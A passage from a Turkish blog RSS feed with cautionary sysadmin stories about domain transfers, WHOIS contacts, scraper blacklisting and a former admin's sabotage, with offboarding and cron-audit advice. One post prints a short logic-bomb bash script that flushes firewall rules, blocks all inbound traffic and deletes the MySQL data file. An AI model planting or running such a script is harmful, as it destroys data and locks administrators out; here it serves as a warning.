<p>Ve bir anda dünya genelindeki kök DNS sunucuları (Root DNS Servers), <code>sirketadi.com</code> adresini sorguladığında boşlukla karşılaşır. Eski firma kapıyı kapatmıştır; yeni firmada ise henüz NameServer kayıtları tanımlanmamıştır!</p>
<h3>48 Saatlik Karanlık: Web Yok, E-Posta Yok!</h3>
<p>Pazartesi sabahı saat 09:30'da şirkette hayat durur.</p>
<ul>
<li>Firmanın e-ticaret sitesine girmeye çalışan herkes ekranda şu soğuk hatayı görür: <strong>"DNS_PROBE_FINISHED_NXDOMAIN" (Böyle Bir Alan Adı Bulunamadı!)</strong></li>
<li>Şirket personeli dışarıya tek bir e-posta bile atamaz.</li>
<li>Müşterilerden gelen tüm e-postalar göndericilere geri teper (bounce): <em>"550 Host not found / No mail server found."</em></li>
<li>Şirketin API bağlantıları, sanal POS entegrasyonları, fatura sistemleri tamamen kilitlenir.</li>
</ul>
<p>Şirket yöneticisi yeni firmayı telefonla arayarak ortalığı birbirine katar:</p>
<blockquote>
<p><em>"Siz nasıl bir firmasınız! Alan adını size taşıdık, bütün şirketimiz çöktü! Sitemiz açılmıyor, maillerimiz gelmiyor! Milyonluk ticaretimiz durdu, sitemizi çaldınız mı ne yaptınız? Derhal açın şu siteyi!"</em></p>
</blockquote>
<h3>DNS Propagasyonunun Acımasız Fiziği</h3>
<p>Destek mühendisi WHOIS ve DNS kayıtlarına bakar: <em>"Ahmet Bey, transferiniz tamamlanmış ancak alan adınızın NameServer (NS) kayıtları hâlâ eski firmanızın sunucularını (<code>ns1.eski-firma.com</code>) gösteriyor. Eski firmanız da DNS bölgenizi sildiği için siteniz havada kalmış. Yeni hostinginizin NS adreslerini girmeniz gerekiyordu."</em></p>
<p>Müşteri bağırır: <em>"Tamam girdim işte hemen, niye açılmıyor?"</em></p>
<p>İşte tıp dilindeki "beyin hasarı" gibi geri dönüşü zaman alan o acımasız fizik kuralı devreye girer: <strong>DNS Yayılımı (Propagation).</strong></p>
<p>Kök NameServer kayıtlarının değişmesi, dünyadaki tüm internet servis sağlayıcılarının (Türk Telekom, Vodafone, Turkcell, Google DNS, Cloudflare DNS) önbelleklerini temizleyip yeni adres defterini tanıması <strong>24 ila 48 saat</strong> arasında sürer!</p>
<p>Siz panelle NS adreslerini o saniye düzeltseniz bile, dünyadaki milyonlarca yönlendirici eski kaydı önbelleğinde tutmaya devam eder. O 48 saat boyunca şirketin ticareti felç kalır; kaybedilen müşterilerin, gitmeyen acil tekliflerin faturası hiçbir sigorta tarafından karşılanamaz.</p>
<h3>Cerrahi Güvenlikle Alan Adı Transfer Protokolü</h3>
<p>Bir ambulans transferinde hastanın oksijen hortumu nasıl kontrol ediliyorsa, bir alan adı transferinde de şu adımlar demir bir disiplinle uygulanmalıdır:</p>
<ol>
<li><strong>DNS'i Bağımsız Bir Otoriteye Taşımak (En Güvenli Yöntem):</strong> Alan adı transferine başlamadan önce sitenizin DNS yönetimini hosting veya registrar firmalarından ayırın. Ücretsiz bir <strong>Cloudflare</strong> hesabı açıp NameServer'larınızı Cloudflare'e (<code>alice.ns.cloudflare.com</code>) yönlendirin. Böylece alan adınız hangi firmaya transfer olursa olsun, DNS kayıtlarınız Cloudflare'de sabit kalır; transfer sırasında tek bir saniyelik bile kesinti yaşanmaz!</li>
<li><strong>Eski DNS Kayıtlarının Yedeğini Almak:</strong> Transfer başlatılmadan önce eski paneldeki tüm A, CNAME, MX, TXT ve SPF kayıtlarının ekran görüntüsünü veya Zone File dökümünü (<code>zone export</code>) mutlaka bilgisayarınıza kaydedin.</li>
<li><strong>Yeni Panelde Erken Kurulum:</strong> Alan adı yeni firmaya geçer geçmez vakit kaybetmeden yeni firmanın DNS yönetim paneline girip o NameServer ve MX kayıtlarını eksiksiz tanımlayın.</li>
<li><strong>TTL Sürelerini Düşürmek:</strong> Transferden 3 gün önce eski paneldeki DNS kayıtlarının TTL (Time to Live) sürelerini 86400 saniyeden (24 saat) <strong>300 saniyeye (5 dakika)</strong> indirin. Bu sayede bir değişiklik yapıldığında dünya genelindeki önbellekler 48 saat yerine 5 dakikada güncellenir.</li>
</ol>
<p>Oksijen tüpünü eski ambulansta unutan sağlıkçı hastanın hayatına mal olur; NameServer kaydını unutan sistem yöneticisi de şirketini dijital komaya sokar. Transfer sadece bir tıkla para ödemek değildir; arkasındaki görünmez sinir ağını milimetrik bir dikkatle yeni omurgaya bağlama sanatıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Domain</category>
            <category>DNS</category>
            <category>NameServer</category>
            <category>Hosting</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/domain-transfer-surecinde-nameserver-ns-guncellemeyi-unutmak/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Sistem Yöneticisi Değişince": Eski Çalışanın Arkasında Bıraktığı "Mayınlı" Kodlar ve Script'ler]]></title>
            <link>http://localhost:3000/blog/post/sistem-yoneticisi-degisince-eski-calisanin-arkasinda-biraktigi-mayinli-kodlar-ve-scriptler</link>
            <guid>sistem-yoneticisi-degisince-eski-calisanin-arkasinda-biraktigi-mayinli-kodlar-ve-scriptler</guid>
            <pubDate>Mon, 09 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Şirketten olaylı bir şekilde ayrılan eski sistem yöneticisinin sunucunun en karanlık dizinlerine gömdüğü dokümante edilmemiş gizli scriptler, mantık bombaları ve yeni gelen mühendisin üzerine bastığı o patlamaya hazır mayınlar.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sistem-yoneticisi-degisince-eski-calisanin-arkasinda-biraktigi-mayinli-kodlar-ve-scriptler/thumbnail" alt=""> Adli tıp ve cerrahi malpraktis davalarında hekimlerin ürpererek incelediği vakalardan biri "Tekstiloma" (Gossypiboma); yani ameliyat sırasında hastanın batın veya göğüs boşluğunda unutulan yabancı cisimlerdir (gazlı bez, cerrahi pens veya ucu kırık dikiş iğnesi). Cerrah hastayla veya hastane yönetimiyle kavgalı bir şekilde istifa eder ve gider. Hasta ameliyattan sonra aylar boyunca hafif sızılarla yaşar.</p>
<p>Günün birinde, aradan iki yıl geçtikten sonra hasta şiddetli bir karın ağrısıyla acil servise gelir. Nöbetçi cerrah hastanın batınını açar; orada dokuların arasına kaynamış, devasa bir iltihap odağına (apseye) dönüşmüş o eski cerrahi bezi görür. Neşteri dokundurduğu saniyede apse patlar, bağırsak perforasyonu gelişir ve hasta dakikalar içinde septik şoka girer. Olayın faturası ise o gün nöbette olan, masum yeni cerrahın boynuna asılır! Eski cerrahın arkasında bıraktığı o cerrahi mayın, yıllar sonra patlamış ve yeni hekimi kurban seçmiştir.</p>
<p>Kurumsal bilişim altyapılarında, veri merkezlerinde ve yazılım şirketlerinde de yeni işe başlayan sistem yöneticilerinin (SysAdmin / DevOps) uykularını kaçıran en karanlık kabus tam olarak bu tekstiloma sendromudur: <strong>Eski çalışanın arkasında bıraktığı dokümante edilmemiş, mayınlı scriptler ve mantık bombaları (logic bombs).</strong></p>
<h3>Yeni Görev, Sahte Bahar ve Rutin Temizlik</h3>
<p>Yeni sistem mühendisimiz, şirketin sunucu altyapısını devralalı henüz iki hafta olmuştur. Şirket yönetimi eski sistemciyi "anlaşmazlık, maaş zammı kavgası veya disiplinsizlik" yüzünden apar topar kovmuş, sunucuların root parolalarını alelacele değiştirip yeni mühendise teslim etmiştir.</p>
<p>Yeni mühendis heyecanlı ve titizdir. Sunucuda derli toplu bir düzen kurmak ister. Terminale girer, disk doluluk oranlarına bakar, <code>/var/log</code> dizinindeki şişmiş logları temizler.</p>
<p>Derken <code>/etc/cron.d/</code> ve <code>/usr/local/bin</code> dizinlerinde garip isimli, sahibinin <code>root</code> olduğu gizemli bir kabuk betiği (shell script) fark eder:</p>
<pre><code class="language-bash">/usr/local/bin/.sys_sync_daemon.sh
</code></pre>
<p>Dosya adının başında gizli dosya olduğunu belirten bir nokta (<code>.</code>) vardır. Mühendis dosyayı <code>cat</code> ile açar. İçinde ne bir açıklama satırı (comment), ne bir lisans, ne de ne işe yaradığına dair tek bir dokümantasyon vardır.</p>
<p>Kodun içinde karmaşık <code>base64</code> ile şifrelenmiş bir satır ve harici, şüpheli bir IP adresine her gece saat 03:00'te ping atan bir döngü görür.</p>
<p>Mühendis profesyonel bir refleksle düşünür: <em>"Bu sunucuda dışarıya yetkisiz veri sızdıran bir zombi script kalmış olabilir. Zaten şirket dokümantasyonunda böyle bir servisten bahsedilmiyor."</em></p>
<p>Mühendis terminale o masum komutu yazar:</p>
<pre><code class="language-bash">rm -f /usr/local/bin/.sys_sync_daemon.sh
</code></pre>
<p>Ve mayının pimi çekilmiştir!</p>
<h3>Gece 03:00: Mantık Bombasının Patlaması</h3>
<p>O script, eski sistem yöneticisinin giderken kurduğu sinsi bir "Ölü Adam Anahtarı"dır (Dead Man's Switch).</p>
<p>Eski çalışan, kovulacağını hissettiği gün sunucunun derinliklerine şu mantık bombasını yerleştirmiştir:</p>
<pre><code class="language-bash">#!/bin/bash
# .sys_sync_daemon.sh
# Eğer bu dosya silinirse veya harici sunucumdaki kontrol dosyasına erişemezse:
if [ ! -f /usr/local/bin/.sys_sync_daemon.sh ]; then
    # Sessiz intikam:
    iptables -F
    iptables -P INPUT DROP
    systemctl stop mysqld
    rm -rf /var/lib/mysql/ibdata1
    logger "System failure: fatal corruption."
fi
</code></pre>
<p>Gece saat 03:00'te sistemdeki bir başka gizli cron görevi çalışır. Silinen o dosyayı bulamaz. Ve saniyeler içinde sunucunun veritabanı motoru durdurulur, InnoDB ana veri dosyası parçalanır ve güvenlik duvarı tüm gelen bağlantıları (SSH dahil!) kalıcı olarak reddedecek şekilde kilitlenir.</p>
<p>Sabah mesaisi başladığında şirketin web siteleri, şirket içi ERP yazılımı, muhasebe programları ve telefon santrali tamamen ölmüştür!</p>
<p>Sunucuya ping atılamaz, SSH ile bağlanılamaz. Şirketin genel müdürü yeni mühendisin masasına hışımla gelir: <em>"İki haftada bütün altyapıyı çökerttin! Sen ne biçim mühendissin?"</em></p>
<p>Yeni mühendis suçsuzdur; fakat kucağında patlayan o mayının faturasını tek başına ödemek zorunda kalır.</p>
<h3>Dokümantasyonsuz Altyapı Cinayettir</h3>
<p>Bu trajediler, sektörde "tek adam" bağımlılığıyla yönetilen, hiçbir kurumsal denetimi ve mimari standardı olmayan şirketlerin kaçınılmaz kaderidir. Bir sistem yöneticisi işini kendi kişisel egosu ve vazgeçilmezlik zırhı haline getirmek için şu zehirli yöntemlere başvurur:</p>
<ol>
<li><strong>Hiçbir Şeyi Dokümante Etmemek:</strong> Sunucunun hangi portunun neden açık olduğunu, hangi cron görevinin ne işe yaradığını sadece kendi beyninde saklar. Böylece şirket ona mahkûm kalır.</li>
<li><strong>Kişisel E-postalar ve Gizli Arka Kapılar (Backdoors):</strong> Sunucuya gizli SSH public key'leri eklemek, yetkisiz sudoers yetkileri tanımlamak.</li>
<li><strong>Spagetti Bağımlılıklar:</strong> Kritik bir yedekleme sürecini kendi şahsi sunucusundaki bir scriptin yanıtına bağlamak.</li>
</ol>
<h3>Mayın Tarlasını Temizleme Protokolü</h3>
<p>Yeni bir altyapıyı devralan veya bünyesindeki sistem yöneticisiyle yollarını ayıran bir şirketin uygulaması gereken cerrahi güvenlik protokolü şudur:</p>
<ul>
<li><strong>Eski Mühendisle Çıkış Protokolü (Offboarding):</strong> Personel şirketten ayrılmadan önce tüm sunucu mimarisini, cron görevlerini ve özel servisleri içeren bir "Devir Teslim Raporu" (Handover Document) ıslak imzalı olarak alınmalıdır.</li>
<li><strong>Tüm Kimlik Bilgilerinin Anında Sıfırlanması:</strong> Sadece root parolası değil; SSH anahtarları (<code>~/.ssh/authorized_keys</code>), API token'ları, veritabanı kök şifreleri, VPN erişimleri ve IPMI/iDRAC dış yönetim şifreleri tek bir oturumda topyekûn yenilenmelidir.</li>
<li><strong>Gizli Cron ve Süreç Taraması:</strong>
<pre><code class="language-bash"># Tüm kullanıcıların crontab'larını listele:
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2>/dev/null; done
# Sistem genelindeki cron dizinlerini tara:
ls -la /etc/cron* /var/spool/cron/
# Şüpheli gizli dosyaları tespit et:
find / -name ".*" -perm -111 -type f 2>/dev/null
</code></pre>
</li>
<li><strong>Kritik Dosyalara Dokunmadan Önce Yalıtım (Quarantine):</strong> Tanımlanamayan şüpheli bir scripti doğrudan silmek (<code>rm</code>) yerine, önce içeriğini inceleyin, yedekleyin ve yetkisini <code>chmod 000</code> yaparak birkaç gün sistemin tepkisini izleyin (izolasyon fazı).</li>
</ul>
<p>Eski cerrahın batında bıraktığı paslı iğne nasıl hastayı öldürüyorsa, eski sistemcinin bıraktığı denetimsiz kodlar da kurumsal hafızayı öyle dinamitler. Profesyonel sistem yönetimi gizli kahramanlıklarla değil, şeffaf, dokümante edilmiş ve her satırı denetlenebilir açık standartlarla yürütülür.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Sistem Yönetimi</category>
            <category>Teknik Borç</category>
            <category>Siber Güvenlik</category>
            <category>DevOps</category>
            <category>Kurumsal Hafıza</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sistem-yoneticisi-degisince-eski-calisanin-arkasinda-biraktigi-mayinli-kodlar-ve-scriptler/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Whois Bilgisine Şirket Çalışanının Mailini Yazmak": Personel Ayrılınca Kilitlenen Domain'ler]]></title>
            <link>http://localhost:3000/blog/post/whois-bilgisine-sirket-calisaninin-mailini-yazmak-personel-ayrilinca-kilitlenen-domainler</link>
            <guid>whois-bilgisine-sirket-calisaninin-mailini-yazmak-personel-ayrilinca-kilitlenen-domainler</guid>
            <pubDate>Sun, 08 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Milyon liralık kurumsal şirketin ana alan adı tescilinde yetkili e-posta adresine şirketten ayrılan personelin şahsi Gmail adresini yazan yönetim zihniyeti ve ICANN doğrulama e-postası onaylanmadığı için domainin askıya alınması (clientHold).]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/whois-bilgisine-sirket-calisaninin-mailini-yazmak-personel-ayrilinca-kilitlenen-domainler/thumbnail" alt=""> Büyük bir şehir hastanesinin acil servis koordinasyonunu hayal edin. Hastanenin bodrum katında, elektrik kesintisinde 3 saniye içinde devreye giren devasa yedek dizel jeneratörler ve yoğun bakıma sıvı oksijen pompalayan ana kriyojenik oksijen tankları vardır. Bu kritik sistemlerin bulunduğu çelik zırhlı kapının tek bir manyetik şifre kartı ve tek bir fiziksel anahtarı bulunmaktadır.</p>
<p>Şimdi düşünün ki hastane başhekimi veya idari müdürü, bu hayati anahtarı üç ay önce hastanede staj yapan 20 yaşındaki bir tıp öğrencisinin boynuna asmış ve çocuk stajı bittiğinde memleketine dönerken anahtarı geri almayı unutmuştur! Bir gece şehir şebekesinde trafo patlar, hastanenin elektriği kesilir. Yoğun bakımdaki ventilatörler alarm vermeye başlar. Başhekim bodrum katına koşar; kapı kilitlidir! Anahtar nerede? Üç yıl önce memleketine dönen ve telefonunu değiştiren o eski stajyerin evindeki çekmecede! Koca hastane, yüzlerce hastanın hayatı o tek anahtarın rehin kalması yüzünden pamuk ipliğine bağlanır.</p>
<p>Kurumsal dünyada ve şirket yönetimlerinde her yıl yüzlerce saygın markanın, holdingin ve e-ticaret devinin başına gelen trajedi tam olarak bu anahtar rehin krizidir: <strong>Şirketin en değerli dijital tapusu olan alan adının (domain) WHOIS kayıtlarına, şirketten ayrılan personelin şahsi e-postasını yazmak.</strong></p>
<h3>Bir Tescil Hikayesi: "Caner İki Dakikada Alıver"</h3>
<p>Olay genellikle şirketin kuruluş aşamasında veya yeni bir marka tescil edildiğinde başlar. Şirket yönetim kurulu toplanır, harika bir marka ismi bulunur: <code>devholding.com</code>.</p>
<p>Genel müdür odasındaki genç bilgi işlem çalışanına veya pazarlama stajyerine seslenir: <em>"Caner oğlum, şu domaini bizim şirket adına alıver hemen, kartımdan çekersin."</em></p>
<p>Caner bir alan adı tescil firmasının web sitesine girer. Alan adı boştadır, sepete ekler. Sıra <strong>"Alan Adı Sahibi Bilgileri" (Registrant Contact)</strong> formunu doldurmaya gelir:</p>
<ul>
<li>Ad Soyad: <em>Caner Özkan</em></li>
<li>Şirket Adı: <em>Dev Holding A.Ş.</em></li>
<li>E-Posta: <em><a href="mailto:caner_bilgisayar_95@gmail.com">caner_bilgisayar_95@gmail.com</a></em> (Şirket maili henüz açılmadığı için şahsi adresini yazar!)</li>
<li>Telefon: <em>Caner'in şahsi cep telefonu.</em></li>
</ul>
<p>Alan adı tescil edilir, site kurulur, Caner takdir edilir.</p>
<p>Aradan dört yıl geçer. Caner şirketle maaş zammı yüzünden tartışır, olaylı bir şekilde istifa eder. Telefon numarasını değiştirir, LinkedIn hesabını siler, başka bir şehre taşınır. Şirket Caner'i çoktan unutmuştur; şirket büyümüş, cirosu yüz milyonlara ulaşmıştır.</p>
<h3>ICANN RAA Kabusu: clientHold Tokadı</h3>
<p>2013 yılından itibaren internetin kurucu otoritesi ICANN, <strong>RAA (Registrar Accreditation Agreement)</strong> kapsamında çok katı bir küresel kural getirdi: Alan adı sahiplerinin WHOIS kayıtlarındaki e-posta adreslerinin doğruluğu periyodik olarak teyit edilmelidir.</p>
<p>ICANN kayıt operatörü, her yıl alan adının sahibinin e-posta adresine otomatik bir doğrulama bağlantısı gönderir:</p>
<blockquote>
<p><strong>"ICANN Verification Required: Please confirm your contact information within 15 days, otherwise your domain will be suspended."</strong></p>
</blockquote>
<p>E-posta kime gider? Şirketin genel müdürüne mi? Şirketin hukuk müşavirine mi? Hayır! Dört yıl önce şirketten kavgalı ayrılan Caner'in asla açmadığı o eski Gmail hesabına!</p>
<ol>
<li>Gün: E-posta Caner'in gelen kutusuna düşer. Caner maile bakmaz.</li>
<li>Gün: İkinci uyarı e-postası gider.</li>
<li>Gün: Süre dolar.</li>
</ol>
<p>Otomasyon acımasızdır; hiçbir şirketin büyüklüğüne veya cirosuna bakmaz. Kayıt operatörü alan adının durumunu kök DNS seviyesinde anında şu koda çeker:</p>
<pre><code class="language-text">Status: clientHold
Status: serverHold
</code></pre>
<p><code>clientHold</code>, bir alan adının DNS kök sunucularından fiziksel olarak silinmesi demektir!</p>
<h3>Salı 10:00: Şirketin Dijital Ölümü</h3>
<p>Salı sabahı şirketin tüm web siteleri çöker. E-postalar kesilir. Müşteriler banka hesaplarına para gönderemez, e-faturalar onaylanamaz.</p>
<p>Şirket avukatı derhal tescil firmasını arar: <em>"Bizim sitemizi hangi hakla kapattınız? Biz kurumsal bir şirketiz, faturamızı yıllarca peşin ödedik!"</em></p>
<p>Tescil firmasının cevabı soğuk bir duş gibidir: <em>"Sayın yetkili, alan adınızın yasal sahibi (Registrant) resmi WHOIS kayıtlarına göre Caner Özkan isimli şahıstır. ICANN doğrulama e-postası <a href="mailto:caner_bilgisayar_95@gmail.com">caner_bilgisayar_95@gmail.com</a> adresine gönderilmiş ancak 15 gün içinde onaylanmamıştır. Yasa gereği alan adını askıya almak zorundayız. Alan adını yeniden açabilmemiz için o e-postadaki linke tıklanması veya Caner Bey'in noter onaylı kimlik belgesiyle onay vermesi gerekmektedir."</em></p>
<p>Şirket genel merkezinde buz gibi bir sessizlik olur. Şirketin tapusu, nerede olduğu bilinmeyen, ulaşılamayan eski bir personelin cebinde kalmıştır!</p>
<h3>Şirket Dijital Varlıklarını Güvenceye Alma Protokolü</h3>
<p>Bir şirketin fiziksel fabrikasının veya genel merkez binasının tapusunu şoförün veya stajyerin üzerine yapmazsınız. Bir şirketin internetteki varlığı, en değerli ticari gayrimenkulüdür.</p>
<p>Bu rehine krizlerini yaşamamak için uygulanması zorunlu kurallar şunlardır:</p>
<ol>
<li><strong>Kurumsal ve Şahıslardan Bağımsız İletişim Adresi:</strong> Alan adı tescillerinde asla şahsi e-posta (Gmail, Hotmail) veya belirli bir personelin adına açılmış mail (<code>ahmet@sirket.com</code>) kullanılmamalıdır. Alan adı sahibi olarak mutlaka şirket ortaklarının ve hukuk departmanının ortak erişiminde olan kurumsal bir takma ad (alias) tanımlanmalıdır: <code>domain-admin@sirketadi.com.tr</code> veya harici bir güvenli grup adresi.</li>
<li><strong>Yasal Mülkiyet Bilgileri:</strong> WHOIS kayıtlarındaki "Organization" alanına mutlaka şirketin ticaret sicil gazetesindeki tam yasal unvanı yazılmalıdır. Şahıs ismi geçici bir çalışan değil, şirketin yasal imza yetkilisi olmalıdır.</li>
<li><strong>İK Çıkış Listesine (Exit Checklist) Dijital Varlıkların Eklenmesi:</strong> İnsan Kaynakları departmanı, şirketten ayrılan bir IT veya pazarlama personelinin ilişiğini keserken sadece bilgisayarını ve giriş kartını değil; üzerine kayıtlı tüm alan adlarını, SSL sertifikalarını ve bulut hesaplarını devralmak zorunda olmalıdır.</li>
<li><strong>WHOIS Bilgilerini Düzenli Denetleme:</strong> Şirketin bilgi işlem direktörü yılda en az iki kez tüm kurumsal alan adlarının WHOIS dökümünü alıp e-posta ve telefon bilgilerinin güncelliğini denetlemelidir.</li>
</ol>
<p>Hastanenin jeneratör anahtarını stajyerin boynunda unutan başhekim nasıl hastaların hayatını tehlikeye atıyorsa, alan adının yetki mailini eski personelin şahsi hesabında unutan yönetim de şirketin geleceğini ateşe atar. Mülkiyet ciddiyet ister; dijital tapunuzu sahipsiz bırakırsanız, bir sabah kendi dükkânınızın kapısında çaresizce boyun bükersiniz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Domain</category>
            <category>Whois</category>
            <category>ICANN</category>
            <category>Kurumsal Yönetim</category>
            <category>İnsan Kaynakları</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/whois-bilgisine-sirket-calisaninin-mailini-yazmak-personel-ayrilinca-kilitlenen-domainler/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Müşterinin E-Eşya / Görsel Arama Botları (Scraper) Yüzünden Kilitlenen Sunucu"]]></title>
            <link>http://localhost:3000/blog/post/musterinin-e-esya--gorsel-arama-botlari-scraper-yuzunden-kilitlenen-sunucu</link>
            <guid>musterinin-e-esya--gorsel-arama-botlari-scraper-yuzunden-kilitlenen-sunucu</guid>
            <pubDate>Sat, 07 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Rakiplerinden ürün ve fiyat çekmek için paylaşımlı sunucuya kontrolsüz scraper (veri kazıma) botları kuran müşterinin, küresel güvenlik duvarlarının (Akamai/Cloudflare) sunucu IP'sini kara listeye almasıyla yaşanan kriz.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/musterinin-e-esya--gorsel-arama-botlari-scraper-yuzunden-kilitlenen-sunucu/thumbnail" alt=""> İmmünoloji ve yoğun bakım kliniklerinde hekimlerin en çok korktuğu ölümcül tablolardan biri "Sitokin Fırtınası"dır (hiperenflamatuar sendrom). Vücuda kontrolsüz bir patojen veya yabancı bir biyolojik madde girdiğinde, bağışıklık sistemi alarma geçer. Normal şartlarda hedefi yok etmesi gereken savunma mekanizması çığırından çıkar; kana o kadar yüksek miktarda sitokin ve enflamatuar kimyasal pompalanır ki, bu yangın sadece yabancı maddeyi değil, hastanın kendi sağlam akciğer alveollerini, karaciğer parankimini ve damar endotelini de yakıp kül eder. Hasta yabancı mikroptan değil, kendi bağışıklık sisteminin aşırı ve kontrolsüz misillemesinden dolayı çoklu organ yetmezliğine girer.</p>
<p>Bilişim altyapılarında ve ağ mühendisliğinde de tam olarak bu orantısız misilleme felaketi yaşanır. Kendi e-ticaret sitesine rakip pazaryerlerinden (Trendyol, Hepsiburada, Amazon) ürün, stok ve fiyat çekmek için paylaşımlı sunucuya kontrolsüz <strong>Scraper (Veri Kazıma Botu)</strong> kuran açgözlü bir kullanıcının tetiklediği küresel güvenlik duvarı misillemesi, tüm sunucunun dijital damarlarını kurutur.</p>
<h3>Gece 01:00: Genç Geliştiricinin "Zekice" Fikri</h3>
<p>Senaryo her defasında benzer bir açgözlülükle başlar. Butik bir e-ticaret firmasının sahibi veya yeni işe aldığı hevesli bir yazılımcı, rakipleriyle rekabet edebilmek için "harika" bir kurnazlık düşünür:<br>
<em>"Rakiplerimizin yüz binlerce ürünü var. Neden oturup elle ürün girelim ki? Yazalım bir Python betiği (BeautifulSoup, Puppeteer veya cURL döngüsü); geceleri rakip sitelere girsin, tüm ürün açıklamalarını, yüksek çözünürlüklü fotoğrafları ve fiyatları saniyeler içinde kazıyıp bizim veritabanımıza doldursun!"</em></p>
<p>Fikir kulağa bedava bir hazine gibi gelir.</p>
<p>Geliştirici scripti yazar. İşlemi kendi evindeki bilgisayardan yaparsa internetinin yavaşlayacağını veya kotasının dolacağını bildiği için, bu canavar botu şirketin yıllık 200 TL ödediği <strong>paylaşımlı hosting sunucusuna</strong> yükler.</p>
<p>Linux sunucuda crontab kurulur:</p>
<pre><code class="language-bash">0 1 * * * /usr/bin/python3 /home/firma/scraper/bot.py > /dev/null 2>&#x26;1
</code></pre>
<p>Gece saat 01:00 olduğunda bot tetiklenir.</p>
<h3>Akamai ve Cloudflare Duvarına Çarpmak</h3>
<p>Bot, rakip e-ticaret devlerinin web sitelerine saniyede 150 adet agresif HTTP GET isteği fırlatmaya başlar:</p>
<ul>
<li><code>GET /kategori/elektronik?page=1</code></li>
<li><code>GET /kategori/elektronik?page=2</code></li>
<li><code>GET /urun/detay-84291</code></li>
</ul>
<p>Oysa o hedef siteler, arkasında milyar dolarlık siber güvenlik altyapıları (Akamai Bot Manager, Cloudflare WAF, Imperva, Datadome) barındıran kalelerdir.</p>
<p>Akamai'nin yapay zeka tabanlı bot tespit radarları saniyenin onda birinde durumu analiz eder:</p>
<ol>
<li>Gelen isteklerin <code>User-Agent</code> başlığı sahtedir veya ilkel bir Python kütüphanesidir (<code>python-requests/2.31.0</code>).</li>
<li>İstekler insan davranışına uymaz; fare hareketi, JavaScript yürütme veya çerez desteği yoktur.</li>
<li>Aynı IP adresinden (<code>185.120.xx.xx</code>) saniyede 150 istek fırlatılmaktadır!</li>
</ol>
<p>Güvenlik mekanizması kararını verir: <strong>Bu bir DDoS saldırısı ve yetkisiz veri kazıma girişimidir!</strong></p>
<p>Misilleme yıldırım hızıyla başlar. Hedef sistemler sadece botu engellemekle kalmaz; o isteğin geldiği kaynak IP adresini küresel tehdit istihbaratı veritabanlarına (Threat Intelligence Blacklist) "Zararlı Bot Kaynağı" olarak raporlar.</p>
<h3>Sitokin Fırtınası: Komşuların Ölümü</h3>
<p>İşte sitokin fırtınası tam bu anda sunucunun kendi içine döner.</p>
<p>Sunucunun IP adresi (<code>185.120.xx.xx</code>), Akamai ve Cloudflare gibi devlerin kara listesine girdiği an felaket başlar:</p>
<ol>
<li><strong>Harici API Bağlantılarının Kilitlenmesi:</strong> O sunucuda barınan diğer 250 masum şirketin kullandığı SMS entegrasyonları, sanal POS API'leri, kargo takip servisleri ve Google Haritalar çağrıları Cloudflare arkasındadır. Sunucu bu servislere istek attığında karşılarına <strong>"403 Forbidden - Access Denied"</strong> duvarı çıkar!</li>
<li><strong>Kargo Barkodları Basılamaz:</strong> Masum bir müşterinin faturası kesilemez, kargo barkodu API'si yanıt vermez.</li>
<li><strong>Google Bot Boykotu:</strong> Google arama motoru botları, aşırı yük ve bot faaliyeti gördüğü IP bloklarına karşı tarama bütçesini (crawl budget) sıfıra indirir; sunucudaki tüm sitelerin Google indeksleri erimeye başlar.</li>
</ol>
<p>Sunucu yöneticisi terminale girdiğinde <code>netstat</code> çıktısında yüz binlerce askıda kalmış soket (<code>SYN_SENT</code>, <code>TIME_WAIT</code>) görür. Sunucunun ağ kartı (NIC) doymuş, işlemci context-switch yapmaktan kilitlenmiştir.</p>
<h3>"Rakiplerimiz Bize Saldırdı!" İllüzyonu</h3>
<p>Sabah mesaisi başladığında scraper çalıştıran müşteri destek masasını arayarak bir de mağduru oynar:</p>
<blockquote>
<p><em>"Sizin sunucunuz çok yavaş! Gece bir veri yedekleme yapıyorduk, sunucu kilitlendi. Üstelik sitemiz şu an harici hiçbir yere bağlanamıyor. Rakiplerimiz bizim yükselişimizi çekemedi, sunucumuza siber saldırı yaptılar! Derhal bu saldırıyı engelleyin!"</em></p>
</blockquote>
<p>Sistem mühendisi logları önüne koyar: <em>"Beyefendi, size kimse saldırmadı. Siz gece yarısı tek bir paylaşımlı hosting hesabı üzerinden Amazon ve Trendyol'a saniyede 150 kaçak istek atarak sunucumuzu bir zombi botnet gibi kullanmışsınız. Karşı tarafın WAF sistemleri de sunucumuzun IP'sini tamamen kara listeye almış. Yaptığınız şey korsanlıktır ve sözleşmemize aykırıdır."</em></p>
<p>Müşterinin hesabı anında kapatılır (<code>terminated</code>), ancak sunucu IP'sinin kara listelerden temizlenmesi sistem mühendislerinin günlerini alır.</p>
<h3>Veri Kazımanın (Scraping) Mühendislik Etiği ve Doğru Yöntemi</h3>
<p>Bilişim dünyasında piyasa araştırması veya fiyat takibi yapmak meşru bir ihtiyaç olabilir; ancak bunu bir korsan gibi, paylaşımlı sunucunun arkasına saklanarak yapmak ahlaksızlıktır. Profesyonel mimaride veri çekme süreçleri şöyle yürütülür:</p>
<ol>
<li><strong>Resmi API Kullanımı:</strong> Hedef platformun sunduğu resmi API'leri (Affiliate veya Marketplace API) kullanın ve belirlenen hız sınırlarına (Rate Limiting) harfiyen uyun.</li>
